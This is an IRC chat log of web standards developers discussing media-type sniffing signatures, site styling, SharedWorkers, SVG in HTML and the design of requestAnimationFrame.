"RIFF" + any 4 octets + "WAVE" -- finally another use for "mask" part of the sniffing table :-)

[13:31:05.0000] <abarth>
yeah, we already need mask for WebP

[13:31:06.0000] <abarth>
because it's also RIFF

[13:31:07.0000] <Hixie>
annevk: what do you think of whatwg.org now

[13:32:00.0000] <Hixie>
matjas_: i implemented your suggestion on whatwg.org

[13:32:01.0000] <Hixie>
matjas_: so thanks!

[13:32:02.0000] <foolip_>
abarth, when I looked into it I came to the conclusion that it's unlikely that the version field is going to increase ever, and it it does we need to update both demuxers and sniffing

[13:32:03.0000] <matjas_>
thank you!

[13:32:04.0000] <abarth>
foolip_: ok, then we should include the null byte

[13:32:05.0000] <foolip_>
abarth, WebM sniffing is the one that requires the most tinkering, I think

[13:32:06.0000] <annevk>
Hixie, a lot better :)

[13:32:07.0000] <annevk>
nice

[13:32:08.0000] <abarth>
i asked the vp8 folks about that at some point

[13:33:00.0000] <foolip_>
no conclusion?

[13:33:01.0000] <abarth>
they said there's a constant pattern at a constant offset that we can use

[13:33:02.0000] <abarth>
i can ask them again

[13:33:03.0000] <abarth>
what about h.264?

[13:33:04.0000] <Hixie>
holy cow, it even works in IE, Opera, Firefox, Chrome, and Safari, without my having to do anything special

[13:33:05.0000] <Hixie>
i only have two non-standard properties and they don't work anyway (the transitions for box-shadow)

[13:33:06.0000] <foolip_>
abarth,  that would be great, on the WebM discussion list preferably, since I'm on it

[13:33:07.0000] <Hixie>
ok, lunch time

[13:33:08.0000] <Hixie>
bbiab

[13:34:00.0000] <abarth>
Hixie: pretty

[13:34:01.0000] <foolip_>
abarth, I haven't looked at sniffing the MPEG-4 container, because we don't intend to support it

[13:34:02.0000] <foolip_>
abarth, to get it right, it'd probably be best to ask the QuickTime folks at Apple

[13:35:00.0000] <annevk>
Hixie, so next is redesigning http://www.whatwg.org/charter and such? :)

[13:35:01.0000] <abarth>
ok, i'd like to add them all at once to avoid the appearance of favoritism

[13:35:02.0000] <foolip_>
/me looks at how GStreamer sniffs MPEG-4

[13:36:00.0000] <abarth>
thx

[13:37:00.0000] <foolip_>
oh, maybe we need MP3 too, unless Chrome is going to remove support for it

[13:37:01.0000] <foolip_>
ID3v2...

[13:38:00.0000] <foolip_>
MP3 in RIFF container

[13:38:01.0000] <foolip_>
:/

[13:38:02.0000] <abarth>
i seem to remember that mp3 was tricky to sniff, but i don't remember the details

[13:39:00.0000] <abarth>
is it just RIFF?

[13:39:01.0000] <Hixie>
annevk: i'll look, but probably not (unless i broke them)

[13:39:02.0000] <Hixie>
bbl

[13:40:00.0000] <foolip_>
abarth, you also have header-less MP3, IIRC

[13:40:01.0000] <foolip_>
which should actually be the most common

[13:41:00.0000] <roc>
Is Chrome going to remove MP3 support? That's never been clear

[13:41:01.0000] <TabAtkins>
I don't think we've ever announced anything in that direction.

[13:41:02.0000] <abarth>
dunno

[13:41:03.0000] <roc>
you've announced "Specifically, we are supporting the WebM (VP8) and Theora video codecs, and will consider adding support for other high-quality open codecs in the future."

[13:42:00.0000] <roc>
oh, that's video

[13:42:01.0000] <abarth>
do other browsers support mp3?

[13:42:02.0000] <TabAtkins>
Yeah, that's for video.  We haven't said anything about <audio>.

[13:42:03.0000] <roc>
so technically you could still be supporting MP4+AAC!

[13:42:04.0000] <TabAtkins>
abarth: Yes, safari and IE9 do.

[13:42:05.0000] <TabAtkins>
http://html5doctor.com/native-audio-in-the-browser/

[13:42:06.0000] <roc>
maybe you should shake some trees and get that clarified

[13:42:07.0000] <roc>
MP3-related patents haven't run out yet

[13:43:00.0000] <roc>
we'll support it the day they do

[13:43:01.0000] <abarth>
chrome doesn't support wav?

[13:43:02.0000] <TabAtkins>
Any idea when that day is?

[13:43:03.0000] <roc>
no

[13:43:04.0000] <roc>
I believe it depends on your legal department

[13:43:05.0000] <TabAtkins>
Bleh.  Fuck patents.

[13:43:06.0000] <roc>
yep

[13:44:00.0000] <abarth>
at least everyone supports PNG

[13:44:01.0000] <abarth>
we should just use PNG for video

[13:44:02.0000] <roc>
APNG

[13:44:03.0000] <roc>
does chrome even support APNG?

[13:44:04.0000] <roc>
sigh

[13:45:00.0000] <roc>
Today was looking pretty good until I found out that Matrix 4 and 5 are going to be made

[13:45:01.0000] <foolip_>
abarth, for MPEG-4, it looks like there are quite a few patterns to match

[13:45:02.0000] <foolip_>
8 byte in, you have "ftypqt  ", "ftypisom" and "ftypmp42"

[13:46:00.0000] <foolip_>
it would probably be best to contact David Singer, as suggested by http://tools.ietf.org/html/rfc4337

[13:46:01.0000] <abarth>
ok, i've been ignoring this stuff hoping the world would get simpler, but that looks somewhat unlikely at this point, i'll put something in the spec

[13:46:02.0000] <abarth>
ok, i know david

[13:47:00.0000] <foolip_>
abarth, do you need anything from me, or will everything I need magically appear in the spec after some time? ;)

[13:47:01.0000] <abarth>
i'm making some notes

[13:48:00.0000] <abarth>
give me a minute to see if I have any questions

[13:48:01.0000] <foolip_>
/me nods

[13:49:00.0000] <karlcow>
this is amazing. Errata publication process with diff nodes :) http://scraplab.net/2011/01/20/admiralty-chart-correction-tracings/

[13:50:00.0000] <abarth>
foolip_: OggS\0 is for video or audio?

[13:50:01.0000] <foolip_>
abarth, both, if you need to map it to an existing MIME type then application/ogg would do

[13:51:00.0000] <abarth>
yeah, we map the bytes to a mime type

[13:51:01.0000] <abarth>
ok

[13:51:02.0000] <foolip_>
figuring out what exactly the streams are isn't sniffable without quite a lot of data

[13:52:00.0000] <abarth>
k

[13:52:01.0000] <foolip_>
the WebM stuff is equally for audio-only files as well, so if video/webm is ok for that, then video/ogg shouldn't be a disaster for Ogg either

[13:53:00.0000] <abarth>
here's what i've got:

[13:53:01.0000] <abarth>
application/ogg: OggS\0

[13:53:02.0000] <abarth>
video/webm: 0x1A, 0x45, 0xDF, 0xA3 + more (ask)

[13:53:03.0000] <abarth>
image/webp: "RIFF" + any 4 octets + "WEBPVP"

[13:54:00.0000] <abarth>
audio/wave: "RIFF" + any 4 octets + "WAVE"

[13:54:01.0000] <abarth>
audio/mpeg: ask

[13:54:02.0000] <abarth>
video/mp4: ask

[13:55:00.0000] <foolip_>
abarth, looks right

[13:55:01.0000] <abarth>
ok, i'll update the draft today

[13:55:02.0000] <foolip_>
although I think there's no registered MIME type for RIFF WAVE, if that matters

[13:55:03.0000] <abarth>
i'll also send email to the IETF websec list and the whatwg list

[13:55:04.0000] <abarth>
foolip_: we can register it

[13:56:00.0000] <foolip_>
abarth, that'd be awesome

[13:57:00.0000] <foolip_>
thanks for helping out, hopefully sanity will soon be possible for <video> type checking

[13:58:00.0000] <abarth>
foolip_: np.  i'll also get chrome's sniffing updated to match these patterns

[13:59:00.0000] <foolip_>
abarth, great, I'll put it in Opera as soon as http://www.w3.org/html/wg/wiki/ChangeProposals/NoVideoContentType prevails

[13:59:01.0000] <foolip_>
(or sooner)

[14:04:00.0000] <foolip_>
http://www.w3.org/html/wg/wiki/ChangeProposals/PosterElement gets 0 points for brevity

[14:19:00.0000] <annevk>
so I just looked at http://www.whatwg.org/style/tabbed-pages

[14:19:01.0000] <annevk>
the way Hixie picks colors is funny

[14:23:00.0000] <foolip_>
annevk, is the script that generates http://html5.org/tools/web-apps-tracker under your control?

[14:24:00.0000] <annevk>
yep

[14:24:01.0000] <annevk>
it's open source too

[14:24:02.0000] <foolip_>
icanhaz?

[14:24:03.0000] <annevk>
http://code.google.com/p/html5/source/browse/#svn%2Ftrunk%2Fweb-apps-tracker

[14:26:00.0000] <foolip_>
annevk, thanks

[14:26:01.0000] <annevk>
it's not really the greatest code ever written, but it works

[14:27:00.0000] <foolip_>
I was working on something to annotate commits with which sections were changed, and thought maybe it'd make sense to merge it

[14:27:01.0000] <foolip_>
not finished, might never be

[14:27:02.0000] <annevk>
that'd be quite brilliant

[14:28:00.0000] <foolip_>
annevk, do you have a cron job to update from upstream svn all the time, or do you have commit hooks on the svn server?

[14:28:01.0000] <annevk>
it's live :)

[14:28:02.0000] <foolip_>
oh, it logs from the server every time you access the page?

[14:28:03.0000] <annevk>
front page always pulls from SVN

[14:28:04.0000] <foolip_>
wow :)

[14:28:05.0000] <annevk>
diffs pull from SVN unless there is a cached entry

[14:29:00.0000] <MikeSmith>
anybody know whatever happened with persistent SharedWorkers idea?

[14:30:00.0000] <foolip_>
I've been using a git mirror (http://gitorious.org/whatwg/webapps/commits/master), but mostly because I like git of course

[14:30:01.0000] <annevk>
I have a commit hook these days (for twitter) and could therefore do smarter things, but nothing has been done so far

[14:30:02.0000] <annevk>
and perf-wise it all pulls through

[14:30:03.0000] <annevk>
the only feature I have been thinking about adding is an Atom feed that includes the diffs

[14:30:04.0000] <foolip_>
automatic read-only git mirrors like http://git.apache.org/ would be sweet, but I don't know how to set that up

[14:31:00.0000] <annevk>
but since that would require some kind of database or imagined file storage I have not bothered yet

[14:31:01.0000] <foolip_>
why?

[14:32:00.0000] <foolip_>
my thinking was to use <article> for each commit and then use http://www.whatwg.org/specs/web-apps/current-work/multipage/links.html#atom

[14:32:01.0000] <foolip_>
does anyone remember why it was removed from the W3C spec?

[14:32:02.0000] <foolip_>
people who like Atom don't like pseudo-code?

[14:32:03.0000] <annevk>
W3C does not use HTML5

[14:33:00.0000] <TabAtkins>
Julain complained that it wasn't ideal in some cases.

[14:33:01.0000] <annevk>
oh, Atom

[14:33:02.0000] <annevk>
dunno

[14:33:03.0000] <foolip_>
I implemented it, seems pretty good actually

[14:33:04.0000] <Hixie>
annevk: what's funny about it :-P

[14:33:05.0000] <foolip_>
with some bugs filed, of course

[14:33:06.0000] <foolip_>
/me looks at Hixie

[14:34:00.0000] <annevk>
foolip_, if you generate the Atom feed you need to have access to the previous entries no?

[14:34:01.0000] <annevk>
foolip_, hmm, I guess I could actually use XML to parse the instance, remove the last item and insert a new one

[14:34:02.0000] <annevk>
foolip_, but that would be rather professional

[14:34:03.0000] <foolip_>
annevk, you'd have to have an HTML document with as many top-level <articles> as you want <entry>s

[14:35:00.0000] <foolip_>
annevk, which is pretty close to what http://html5.org/tools/web-apps-tracker already is

[14:35:01.0000] <abarth>
foolip_: done

[14:35:02.0000] <foolip_>
abarth, ah, you're fast!

[14:36:00.0000] <abarth>
i try :)

[14:36:01.0000] <abarth>
i expect hatemail though :(

[14:36:02.0000] <foolip_>
/me joins websec⊙io

[14:36:03.0000] <foolip_>
ignore the haters

[14:36:04.0000] <foolip_>
I can give you a bit of praise to balance it out :)

[14:36:05.0000] <annevk>
foolip_, in a way, except besides the commit message and bug link you also want to have the change

[14:37:00.0000] <annevk>
foolip_, anyway, I'm going to sleep and will see your code in the morning :p

[14:37:01.0000] <foolip_>
annevk, hrm, right

[14:37:02.0000] <foolip_>
annevk, don't count on it, there are many pieces and none of them are more than 50% done

[14:41:00.0000] <foolip_>
abarth, typo: vidow/webm

[14:41:01.0000] <abarth>
that's what i get :)

[14:42:00.0000] <Hixie>
annevk: decided not to change the other pages, they seem to work fine

[14:42:01.0000] <abarth>
foolip_: fixed

[14:42:02.0000] <foolip_>
in case you don't know, the part of the WebM signature you have is the EBML signature, shared by matroska and webm

[14:43:00.0000] <annevk>
Hixie, fair enough

[14:43:01.0000] <Hixie>
annevk: i might change the tabs one day, but probably not any time soon

[14:43:02.0000] <Hixie>
not like anyone looks at those pages anyway :-P

[14:44:00.0000] <annevk>
ooh, we have http://www.whatwg.org/images/logo.svg

[14:45:00.0000] <annevk>
I should start using that on the blog

[14:45:01.0000] <annevk>
the current image looks ugly scaled down

[14:45:02.0000] <Hixie>
yeah

[14:45:03.0000] <Hixie>
btw we also have images.whatwg.org that i use to speed up downloading the spec; if you need any other images on there let me know

[14:45:04.0000] <annevk>
I'm gonna use ::after { content:svg } :)

[14:45:05.0000] <Hixie>
content:svg? you mean content: url(...svg) ?

[14:46:00.0000] <annevk>
yeah

[14:46:01.0000] <Hixie>
ah ok

[14:46:02.0000] <Hixie>
i thought it might be some newfangled thing

[14:46:03.0000] <annevk>
Hixie, you could put that logo.svg there maybe?

[14:46:04.0000] <annevk>
that way whatwg.org does not need to be fetched for blog.whatwg.org

[14:46:05.0000] <Hixie>
sure

[14:46:06.0000] <annevk>
or I could just host a copy on blog.whatwg.org

[14:46:07.0000] <annevk>
I guess

[14:46:08.0000] <TabAtkins>
Yup, new spec.  You give it a mimetype, it creates an appropriate image for you based on a pseudorandom algorithm.

[14:47:00.0000] <Hixie>
actually it's already there

[14:47:01.0000] <Hixie>
http://images.whatwg.org/logo.svg

[14:47:02.0000] <annevk>
sweet

[14:51:00.0000] <Hixie>
switched whatwg.org/ to use the svg too

[14:52:00.0000] <Hixie>
and to get it from images.whatwg.org

[14:53:00.0000] <MikeSmith>
gsnedders: so will Opera also be removing callable RegExp support?

[14:54:00.0000] <MikeSmith>
Hixie: did anything ever happen with the persistent SharedWorkers idea?

[14:54:01.0000] <annevk>
/me makes a mess of things

[14:54:02.0000] <gsnedders>
MikeSmith: Yeah, the intention is for everyone to do so

[14:54:03.0000] <Hixie>
MikeSmith: not that i know of

[14:54:04.0000] <Hixie>
MikeSmith: bigger fish is cross-domain shared workers

[14:55:00.0000] <MikeSmith>
Hixie: I had thought the Chrome team had been interested in doing something with it, particularly in the context of Notifications

[14:55:01.0000] <MikeSmith>
gsnedders: cool

[14:55:02.0000] <Hixie>
MikeSmith: oh, maybe. ask anne or abarth :-)

[14:55:03.0000] <Hixie>
or dglazkov

[14:56:00.0000] <Hixie>
or TabAtkins

[14:56:01.0000] <MikeSmith>
hai

[14:56:02.0000] <dglazkov>
whatwho?

[14:56:03.0000] <dglazkov>
SharedWorkers?

[14:56:04.0000] <annevk>
I wonder why this does not work...

[14:57:00.0000] <annevk>
height:1em should do the fricking trick

[14:57:01.0000] <annevk>
is it because the image has an intrinsic size?

[14:59:00.0000] <annevk>
unless someone figures this out I'll restore the mighty <img>

[14:59:01.0000] <TabAtkins>
annevk: It *should* work, as content: <image> should make it a replaced element.

[14:59:02.0000] <TabAtkins>
But shrug if that actually happens.

[14:59:03.0000] <Hixie>
annevk: url?

[15:00:00.0000] <annevk>
I just killed it

[15:00:01.0000] <atwilson>
/me heard there was a SharedWorker discussion going on...

[15:01:00.0000] <foolip_>
lazy #whatwg: do you still have to use xlink:href with SVG in HTML?

[15:02:00.0000] <foolip_>
or can one write just href and have the parser put it in the right namespace?

[15:02:01.0000] <dglazkov>
MikeSmith: ask atwilson

[15:02:02.0000] <MikeSmith>
k

[15:02:03.0000] <MikeSmith>
oh, he's here

[15:02:04.0000] <MikeSmith>
hey Drew

[15:02:05.0000] <atwilson>
hi

[15:02:06.0000] <annevk>
Hixie, TabAtkins, http://software.hixie.ch/utilities/js/live-dom-viewer/saved/790

[15:03:00.0000] <MikeSmith>
atwilson: was wondering if you all ever ending up pursuing the persistent SharedWorkers idea any further

[15:03:01.0000] <annevk>
Hixie, TabAtkins, works fine if you make it an <img> as seen on blog.whatwg.org

[15:03:02.0000] <TabAtkins>
Yeah, I understand the markup.  I'm saying that it *should* work, but 'content' support is all dumb.

[15:03:03.0000] <MikeSmith>
atwilson: seems like the discussion on the list just died down at some point

[15:03:04.0000] <Hixie>
foolip_: iirc you have to use the attribute name "xlink:href" but don't have to declare xlink

[15:04:00.0000] <TabAtkins>
I guess it's instead treating it as an inline element containing an image, rather than an image itself.

[15:04:01.0000] <atwilson>
MikeSmith: somewhat. There was significant pushback about exposing this as part of the general web API.

[15:04:02.0000] <foolip_>
Hixie, an improvement, but just href would be great :)

[15:04:03.0000] <foolip_>
(but confusing at the same time)

[15:04:04.0000] <atwilson>
MikeSmith: We're exposing similar functionality via Chrome extensions for now, and instead of basing this on SharedWorkers we're allowing "background pages".

[15:04:05.0000] <Hixie>
i expect the svgwg will get there and then it'll just work in html too

[15:04:06.0000] <annevk>
TabAtkins, yeah, probably

[15:05:00.0000] <MikeSmith>
atwilson: I see

[15:05:01.0000] <atwilson>
MikeSmith: Turns out that workers have various problems (can't do redirects through different domains for auth, etc) that pages don't have.

[15:05:02.0000] <MikeSmith>
ah

[15:05:03.0000] <Hixie>
foolip_: i didn't want to start fiddling with attribute namespaces and later find this conflicted with thes svgwg removing xlink...

[15:05:04.0000] <david_carlisle>
foolip_: mathml3 switched to href instead of xlink: maybe you should svg folks to do same

[15:05:05.0000] <annevk>
TabAtkins, makes sense for content:url(blahdieblah) "test"; but not here...

[15:05:06.0000] <david_carlisle>
"ask" missing from that:-)

[15:05:07.0000] <TabAtkins>
annevk: Agreed.

[15:06:00.0000] <MikeSmith>
atwilson: so maybe based on deployment experience with the background-pages feature, could still end up producing something we might want to spec out for standardization/

[15:06:01.0000] <foolip_>
david_carlisle, I'll ask them

[15:06:02.0000] <atwilson>
MikeSmith: So, long-term I still want to expose this as part of the web platform, but the consensus on the list was that we really needed to experiment with the functionality first.

[15:06:03.0000] <atwilson>
So, yeah :)

[15:08:00.0000] <atwilson>
MikeSmith: Hopefully people will find it useful, people won't use it to create "bot-net construction kits" (hi maciej!) and we can move forward.

[15:09:00.0000] <MikeSmith_>
damn

[15:10:00.0000] <MikeSmith_>
atwilson: the bot-net construction kit was my main use-case

[15:10:01.0000] <MikeSmith_>
so I hope it'll keep working for that purpose :)

[15:10:02.0000] <MikeSmith_>
anyway, thanks

[15:10:03.0000] <annevk>
I wonder when people will understand what the W3C actually is: http://twitter.com/dylanw/status/29674513004232704

[15:10:04.0000] <MikeSmith_>
oh hey

[15:10:05.0000] <MikeSmith_>
atwilson: about your test cases

[15:11:00.0000] <atwilson>
yah?

[15:11:01.0000] <MikeSmith_>
I hope you will check those into the mercurial repo

[15:11:02.0000] <MikeSmith_>
did you get my reply about that/

[15:11:03.0000] <MikeSmith_>
?

[15:12:00.0000] <atwilson>
MikeSmith: I saw your reply, and that's my plan. I've just been swamped preparing for the Chrome 10 release so haven't had any free cycles (plus I'm out this week for some family vacation). Hopefully I can do it next week.

[15:12:01.0000] <atwilson>
MikeSmith: I'm somewhat concerned that they'll bit-rot once they are out of the WebKit repository, though.

[15:13:00.0000] <MikeSmith>
well, we really need to get more going with testing for WebApps WG specs this year

[15:14:00.0000] <MikeSmith>
have people actively reviewing submitted test cases and migrating them into a central set

[15:14:01.0000] <Hixie>
abarth: re sniffing, we might want a separate video sniffing section so that it's treated like <img>, and doesn't run the risk of other types being sniffed (e.g. <video src="a.pdf"> should probably sniff unknown, not pdf)

[15:14:02.0000] <abarth>
yes

[15:14:03.0000] <abarth>
isn't that what http://www.w3.org/html/wg/wiki/ChangeProposals/NoVideoContentType is all about?

[15:15:00.0000] <Hixie>
abarth: yes

[15:15:01.0000] <Hixie>
abarth: i meant in the websec-mime-sniff draft

[15:16:00.0000] <abarth>
i can certainly add that if its useful for you

[15:16:01.0000] <abarth>
my thought was to wait to see if http://www.w3.org/html/wg/wiki/ChangeProposals/NoVideoContentType was going to prevail, but i can do it sooner

[15:16:02.0000] <Hixie>
no rush

[15:16:03.0000] <Hixie>
indeed, no point doing it before/unless NoVideoContentType wins

[15:17:00.0000] <Hixie>
i just meant in general, in the future

[15:17:01.0000] <annevk>
abarth, need one of those for fonts too

[15:18:00.0000] <annevk>
abarth, which ideally @font-face references and all

[15:18:01.0000] <abarth>
annevk: ok, do you know what the right signatures are?

[15:19:00.0000] <annevk>
I guess I'll sleep, try to sort that out, and email websec

[15:19:01.0000] <annevk>
thanks

[15:20:00.0000] <abarth>
i'm happy to add it.  if you're willing to do some legwork, it will be quicker :)

[15:31:00.0000] <foolip_>
abarth, audio/x-wave is the one permutation of audio/(x-)?wav(e)? that doesn't exist in the wild. would you get shot for using audio/wave?

[15:31:01.0000] <abarth>
haha

[15:31:02.0000] <abarth>
lets try audio/wave

[15:31:03.0000] <abarth>
i got it from http://wiki.whatwg.org/wiki/Video_type_parameters

[15:32:00.0000] <abarth>
but then screwed up the transcription

[15:32:01.0000] <abarth>
fixed

[15:32:02.0000] <Hixie>
abarth: btw while we're at it, http://tools.ietf.org/html/draft-ietf-websec-origin mentions the term "principal" twice (in the same way) but doesn't say what that means and doesn't really rely on the definition anyway

[15:32:03.0000] <foolip_>
video/webm also isn't registered yet, either you'll live or be doubly shot

[15:33:00.0000] <abarth>
Hixie: its meant to be conceptual, not definitional

[15:33:01.0000] <Hixie>
k

[15:33:02.0000] <Hixie>
i have no idea what it means :-)

[15:34:00.0000] <abarth>
maybe i should put it in quotes?

[15:34:01.0000] <abarth>
it's a term from the orange book

[15:34:02.0000] <abarth>
which is a classic text on security

[15:34:03.0000] <Hixie>
ah

[15:35:00.0000] <abarth>
its in quotes now

[15:35:01.0000] <Hixie>
would be good to have a reference i guess

[15:35:02.0000] <Hixie>
for the uneducated like me :-)

[15:35:03.0000] <abarth>
ok, will do

[15:35:04.0000] <abarth>
i suspect that the origin draft will get out of the working group in a finite time

[15:35:05.0000] <abarth>
the sniffing draft might take a bit longer :

[15:35:06.0000] <abarth>
)

[15:36:00.0000] <Hixie>
(none of the dictionary definitions (including two security-related ones) that i found for "principal" as a noun make sense in context)

[15:36:01.0000] <Hixie>
well so long as the spec's URL doesn't change and so long as the spec remains maintained over time, I don't much care when it comes out of working group :-)

[15:36:02.0000] <abarth>
http://alt.pluralsight.com/wiki/default.aspx/Keith.GuideBook/What%20Is%20A%20Security%20Principal.html

[15:37:00.0000] <abarth>
its a new bullet for that list

[15:37:01.0000] <abarth>
as it were

[15:38:00.0000] <Hixie>
an origin is "an entity that can be positively identified and verified via authentication" ?

[15:39:00.0000] <abarth>
yep

[15:39:01.0000] <abarth>
the authentication is pretty weak

[15:39:02.0000] <abarth>
for HTTP

[15:39:03.0000] <abarth>
but better for HTTPS

[15:40:00.0000] <david_carlisle>
Hixie: could the checkboxes for web dev / implementer views in the spec  have  tooltips or some other inline indication of what is or isn't in each view (I know there's some description in the faq but....)

[15:41:00.0000] <Hixie>
david_carlisle: we're going to be changing the whole way that works and replacing the author view with developers.whatwg.org, so I'll update it when we do that

[15:41:01.0000] <Hixie>
(you can look at developers.whatwg.org for a preview)

[15:41:02.0000] <david_carlisle>
ta, no big deal just a passing comment as I can never remember if im a web dev or not:-)

[15:43:00.0000] <david_carlisle>
ah @@@@ I suppose we'll have to make the mml spec look nice to fit now?

[15:45:00.0000] <Hixie>
the spec isn't going to change, we're just going to provide two versions, one for authors and one for implementors

[15:46:00.0000] <david_carlisle>
sure, but clicking  through from developers.whatwg.org  to w3.org/tr/mathml is visually jaring:-)

[15:47:00.0000] <Hixie>
oh heh

[15:54:00.0000] <bga_>
wow. http://www.w3.org/TR/file-system-api/

[15:54:01.0000] <bga_>
you want to copy all ie's axtivexes


2011-01-25
[16:18:00.0000] <Hixie>
http://www.whatwg.org/demos/ updated a bit (no new demos)

[16:50:00.0000] <MikeSmith>
does Firefox already have an extension similar to the Chrome "background pages" feature?

[16:50:01.0000] <MikeSmith>
http://code.google.com/chrome/extensions/background_pages.html

[16:50:02.0000] <MikeSmith>
and http://supercollider.dk/2010/04/chrome-extensions-for-web-hackers-part-%E2%85%A1-background-pages-255

[16:50:03.0000] <MikeSmith>
and http://julianapena.com/2010/01/how-to-build-a-chrome-extension-part-4-background-pages-and-scheduling-requests/

[16:51:00.0000] <othermaciej>
Safari extensions have an equivalent capability

[16:51:01.0000] <othermaciej>
Firefox extensions can do almost anything

[16:58:00.0000] <MikeSmith>
ok

[17:21:00.0000] <roc>
MikeSmith: if you're writing a Firefox extension, you could look at the Add-on SDK, which has a similar model by default --- http://code.google.com/chrome/extensions/background_pages.html

[17:21:01.0000] <roc>
erg

[17:21:02.0000] <roc>
wrong URL

[17:21:03.0000] <roc>
https://jetpack.mozillalabs.com/sdk/1.0b1/docs/

[17:21:04.0000] <MikeSmith>
roc: thanks

[17:21:05.0000] <MikeSmith>
/me looks now

[17:23:00.0000] <MikeSmith>
roc: does it have a mechanism already for generating notifications?

[17:24:00.0000] <MikeSmith>
I mean platform notifications

[17:24:01.0000] <MikeSmith>
like Growl stuff

[17:24:02.0000] <roc>
https://jetpack.mozillalabs.com/sdk/1.0b1/docs/#module/addon-kit/notifications

[17:24:03.0000] <MikeSmith>
aha

[17:24:04.0000] <MikeSmith>
cheers

[17:24:05.0000] <MikeSmith>
cool

[17:26:00.0000] <MikeSmith>
btw, John Gregg recently updated the Web Notifications draft

[17:26:01.0000] <MikeSmith>
http://dev.w3.org/2006/webapi/WebNotifications/publish/Notifications.html

[17:26:02.0000] <MikeSmith>
http://lists.w3.org/Archives/Public/public-web-notification/2011Jan/0002.html

[17:26:03.0000] <jamesr_>
roc: fyi webkitRequestAnimationFrame is on in chromium ToT

[17:26:04.0000] <jamesr_>
i'm working on adding a timestamp parameter to the callbacks now

[17:27:00.0000] <roc>
great

[17:27:01.0000] <jamesr_>
and i'm gonna see if we can help evangalize it

[17:27:02.0000] <roc>
that's on elements, with per-element visibility checking?

[17:27:03.0000] <jamesr_>
it's on window, with an element parameter to request..()

[17:27:04.0000] <roc>
hmm

[17:27:05.0000] <roc>
why'd you do it that way?

[17:27:06.0000] <jamesr_>
it's cancellable

[17:27:07.0000] <jamesr_>
it returns an id and you can do window.cancel..()

[17:27:08.0000] <jamesr_>
like setTimeout

[17:28:00.0000] <roc>
ok but why did you put it on 'window'?

[17:28:01.0000] <jamesr_>
so having it on the element seemed odd, because you might want to cancel in cases where you didn't have a handy reference to the element

[17:28:02.0000] <jamesr_>
also it gets really weird if you move an element between documents

[17:28:03.0000] <jamesr_>
i'm not too attached to having it on the window vs having it on the element

[17:29:00.0000] <othermaciej>
you could return an object with a cancel() method instead of a dumb ID

[17:29:01.0000] <othermaciej>
that's a cleaner API design anyway

[17:29:02.0000] <roc>
I can see why canceling would be nice, but honestly no-one has yet complained about lack of cancellation as a problem

[17:30:00.0000] <roc>
did you have people asking you for cancellation?

[17:30:01.0000] <jamesr_>
yeah

[17:30:02.0000] <jamesr_>
othermaciej: agreed

[17:30:03.0000] <roc>
what for?

[17:30:04.0000] <jamesr_>
roc: same as for setTimeout(). sometimes you just don't wanna run the callback any more, and it's arguably nicer to have a cancel rather than checking some flag when the callback fires

[17:31:00.0000] <roc>
I guess

[17:31:01.0000] <jamesr_>
one consideration is that i want to make it super easy for developers to convert their setTimeout(.., 0) animations over to this API

[17:31:02.0000] <jamesr_>
because i want to get as many pages as possible off of doing setTimeout(..., 0); as possible

[17:33:00.0000] <Philip`>
http://blog.jgc.org/2011/01/code-injected-to-steal-passwords-in.html - that's terrible

[17:33:01.0000] <Philip`>
They should have used feature detection for XHR, not navigator.appName

[17:34:00.0000] <jamesr_>
roc, othermaciej: i'm not claiming to be an expert on making web APIs that developers want to use and am completely open to changing the way the API looks to be something nicer

[17:34:01.0000] <roc>
what about element.cancelAnimationFrame(callback), like add/removeEventListener?

[17:35:00.0000] <jamesr_>
what if you pass the same function in to multiple elements?

[17:35:01.0000] <roc>
then you'd have to cancel it on those elements?

[17:36:00.0000] <jamesr_>
ah, so [element, callback] tuples are assumed to be unique

[17:36:01.0000] <jamesr_>
that'd work for me

[17:37:00.0000] <roc>
they don't have to be unique, you just have to count them

[17:37:01.0000] <roc>
it's just like add/removeEventListener

[17:37:02.0000] <jamesr_>
right

[17:38:00.0000] <othermaciej>
if cancel is needed, I'd do element.requestAnimationFrame(..) that returns an object with a cancel() method

[17:38:01.0000] <othermaciej>
then you don't need to keep a reference to the element or even the window to be able to cancel

[17:38:02.0000] <jamesr_>
you always have window

[17:38:03.0000] <othermaciej>
and you can register the same function multiple times

[17:38:04.0000] <othermaciej>
and don't have to worry about ID

[17:38:05.0000] <othermaciej>
well, if you have same-origin iframes, you might be dealing w/ multiple different windows

[17:39:00.0000] <jamesr_>
true

[17:40:00.0000] <jamesr_>
so i think what should happen is heycam (or someone) posts http://people.mozilla.org/~cmccormack/anim-timing/Overview.html somewhere and we hash this stuff out on public-webapps/public-fx/whatnot

[17:40:01.0000] <roc>
I don't want to add a new object here for cancellation. As well as the API surface, that would mean we'd always have the overhead of creating that object.

[17:40:02.0000] <jamesr_>
as there's obviously some diversity of opinion :)

[17:40:03.0000] <othermaciej>
is this a method that would be called a lot in practice?

[17:40:04.0000] <roc>
and like I said, so far cancellation hasn't been an important requirement for our users

[17:40:05.0000] <jamesr_>
othermaciej: it'd be called once per frame

[17:41:00.0000] <othermaciej>
I don't know enough about the API to know if cancellation is important

[17:41:01.0000] <jamesr_>
roc: it was mentioned as a 'nice to have' and i've used it in my test pages

[17:41:02.0000] <roc>
ok

[17:41:03.0000] <othermaciej>
I see - why isn't there a way to just set it and have your callback fire for all future frames?

[17:41:04.0000] <jamesr_>
but we could start without cancellation and add it

[17:41:05.0000] <roc>
literally no-one has mentioned cancellation to me as a requirement before :-)

[17:41:06.0000] <othermaciej>
(if it's for one frame, cancellation seems rather inessential)

[17:41:07.0000] <jamesr_>
seems kind of weird to have a way to ask for a callback and no way to say "never mind"

[17:41:08.0000] <roc>
it's for one frame

[17:42:00.0000] <jamesr_>
othermaciej: it's setTimeout() not setInterval()

[17:42:01.0000] <roc>
auto-repeating is a reasonable alternative design

[17:42:02.0000] <roc>
but the level of complexity is about the same

[17:43:00.0000] <jamesr_>
with auto-repeating you'd definitely need a cancel

[17:43:01.0000] <roc>
and auto-repeating seems slightly more prone to runaway callback mistakes

[17:43:02.0000] <jamesr_>
roc: yeah, like all the goddamn setIntervals() on my gmail all the time

[17:43:03.0000] <roc>
cough cough

[17:43:04.0000] <jamesr_>
people just forget to clear them

[17:47:00.0000] <jamesr_>
i'll try to collect more opinions from webdevs around here as well

[19:02:00.0000] <MikeSmith>
http://thechangelog.com/post/2910383164/webdis-a-redis-http-interface-with-json-output

[23:55:00.0000] <hsivonen>
Hixie: I know it's against your principles, but it would be really helpful to use the Microsoft-specific syntax to turn of the IE8/9 XSS filter on the live DOM viewer

[00:44:00.0000] <zcorpan>
/me makes the script in html5-elements not work in older browsers

